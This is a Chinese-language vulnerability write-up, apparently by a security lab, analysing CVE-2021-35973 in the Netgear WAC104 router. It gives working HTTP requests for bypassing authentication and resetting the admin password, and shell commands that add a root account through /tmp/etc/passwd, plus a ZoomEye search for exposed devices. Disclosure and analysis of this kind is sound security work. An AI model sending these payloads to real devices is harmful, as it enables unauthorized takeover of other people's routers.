作者:OneShell@知道創宇404實驗室
時間:2021年7月15日

漏洞分析

最直觀的方式,是先看POC,得到大概利用思路,再進行靜態分析,然后拿真實設備調試(咸魚)。

http認證繞過

使用的后端是mini_httpd,一個小型的嵌入式后端服務器,常見的還有lighthttpd、httpd等等,或者直接通過一些腳本例如lua來充當后端也是存在的。

通過在URL中附加%00currentsetting.htm來達到身份認證繞過,本來一開始以為是類似于之前的Netgear的一個身份認證繞過,通過strstr()此類函數直接判定URL中包含一些全局資源,然后無條件返回請求的資源,但是,并不是這樣的,而是currentsetting.htm字段會觸發一個判定標志,這個標志=1會直接使判定通過。這個標志在http解析流程中一共有三個被賦值的地方,分別是:

1.在從00407A28開始的函數,也就是http的處理流程,當header的解析時,當SOAPAction字段包含特定的字符串urn:NETGEAR-ROUTER:service

image-20210714180256776

2.在函數從00407A28地址開始,同樣在http解析流程中,當請求URL中包含字符串setupwizard.cgi

image-20210714140808907

3.還是在這個http處理的函數中

image-20210714141304277

但是前兩個產生的標志位,出現在函數的比較靠前位置,都會導致程序的提前中止,就不能達到繞過的效果,第三個則相對靠后,不會退出。

image-20210714180313683

因此可以通過構造如下的請求,對任意頁面進行未授權訪問:

GET /file-to-access%00currentsetting.htm HTTP/1.1

發生在setup.cgi中的sesstion id認證繞過

在main函數的代碼開頭,如果是POST方法,緊接下來就是對于/tmp/SessionFile文件的讀取。先從POST請求中獲取id字段的值,然后通過一個子函數sub_403F04/tmp/SessionFile中讀取存在系統中的id,二者進行比較。如果相同則通過了id的校驗。驗證邏輯關鍵代碼如下:

id_loc = strstr(post_data, "id=");
if (id_loc) {
    id_from_post = strtol(id_loc + 3, &v19, 16);    // 字符串轉換成長整數, v19指向處理完id后的字符串
    if(v19 && strstr(v19, "sp="))                   // 根據id和sp字段尋找session_file
        snprintf(session_file, 128, "%s%s", session_file)
    if (id_from_post == sub_403F04(session_file))
        goto verify_success_label;
}

但是在子函數sub_403F04中存在邏輯上的問題,如果session_file不存在,id_from_file會直接返回0。那么,就可以通過構造id=0&sp=ABC這種肯定找不到session_file的字段,從而達到id_from_post == id_from_file == 0驗證通過。

int sub_403F04(char* session_file) {
    id_from_file = 0;
    File* f = fopen(session_file, "r");
    if (f) {
        fscan(f, "%x", &id_from_file);
        fclose(f);
    }
    return id_from_file;
}

setup.cgi未檢驗密碼修改

整個cgi的處理流程大概是,當用戶通mini_httpd登錄,mini_httpd會將請求方式和請求附加參數寫入到環境變量中,cgi讀取環境變量REQUEST_METHOD獲取請求方式,例如GET或POST;讀取QUERY_STRING獲取請求參數;然后通過寫入能唯一標識會話的一些參數到文件中,用于會話管理。最后就是具體的對用戶發送的數據進行處理。這個流程可以在setup.cgi文件逆向的main函數中查看,還是比較清晰明了。

在CVE作者的分析文章里面,有提到是通過cgi的哪一個接口直接修改密碼的,我也定位到了這個函數sub_40808。但是,這個函數在cgi中沒有被調用過?那么作者是如何得到這個接口的呢,直接通過抓包么。先直接給出payload,通過構造如下的方式可以重新設置密碼。

GET /setup.cgi?todo=con_save_passwd&sysNewPasswd=ABC&sysConfirmPasswd=ABC%00currentsetting.htm HTTP/1.1
Host: aplogin

對于sub_40808的逆向,流程也很簡單,檢查兩次輸入的新密碼是否相同,如果相同,就寫入到NVRAM中的http_password中。但是如果要永久更改admin賬號的密碼到/etc/passwd和/etc/htpasswd中,可以通過如下兩種方式之一:

  1. 重啟設備,可以通過調用接口/setup.cgi?todo=reboot,將密碼寫入到/etc/passwd和/etc/htpasswd中
  2. 調用接口/setup.cgi?todo=save_passwd將密碼寫入到文件中

猜測這兩個接口,是因為有路由器真實設備,在初始化的時候,第一次設置密碼,通過分析交互http數據包得到的。

/tmp/etc目錄權限管理

可以通過setup.cgi開啟路由器的telnet,結合之前的mini_httpd和setup.cgi的認證繞過,請求/setup.cgi?todo=debug。此時通過telnet登錄得到的權限是admin權限,而不是root權限。但是因為/tmp/etc目錄權限管理的問題,可以在/tmp/etc/passwd中添加一個root權限的賬號。操作如下:

cd /tmp/etc
cp passwd passwdx
echo toor:scEOyDvMLIlp6:0:0::scRY.aIzztZFk:/sbin/sh >> passwdx
mv passwd old_passwd
mv passwdx passwd

出現問題的原因是分析如下,/etc/目錄通過軟鏈接到了/tmp/etc/目錄,而/tmp/etc/目錄的權限是777。

image-20210714155007618

那么admin權限的用戶不能更改/etc/passwd文件,因為這是被root擁有的且權限為644(rw-r--r--)。但是admin權限的用戶可以創建一個新的passwd文件,然后通過如上的方式,添加root權限賬號。

這是執行了添加root權限操作后的文件屬性

image-20210714160006256

小結

通過如上一系列的攻擊鏈,先通過http的認證繞過,可以訪問到setup.cgi;但是setup.cgi的操作也是存在sessionID認證,于是再次進行認證繞過;而且通過分析setup.cgi提供的接口,發現可以任意修改admin權限的登錄密碼,還可以開啟調試模式的telnet;雖然這個時候通過telnet登錄上去的是一個admin權限(非root),但是恰好由于/etc/里面的文件權限管理的問題,可以添加root權限的賬號和密碼。

那么這一系列的操作下來,就達到了一個未授權RCE漏洞。太強了太強了。

漏洞影響面

通過ZoomEye網絡空間搜索引擎,搜索ZoomEye dork數據挖掘語法查看漏洞公網資產影響面。

zoomeye dork 關鍵詞:app:"Netgear wac104"

也可以搜索漏洞編號會關聯出zoomeye dork 關鍵詞:CVE-2021-35973

漏洞影響面全球視角可視化

參考鏈接


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1640/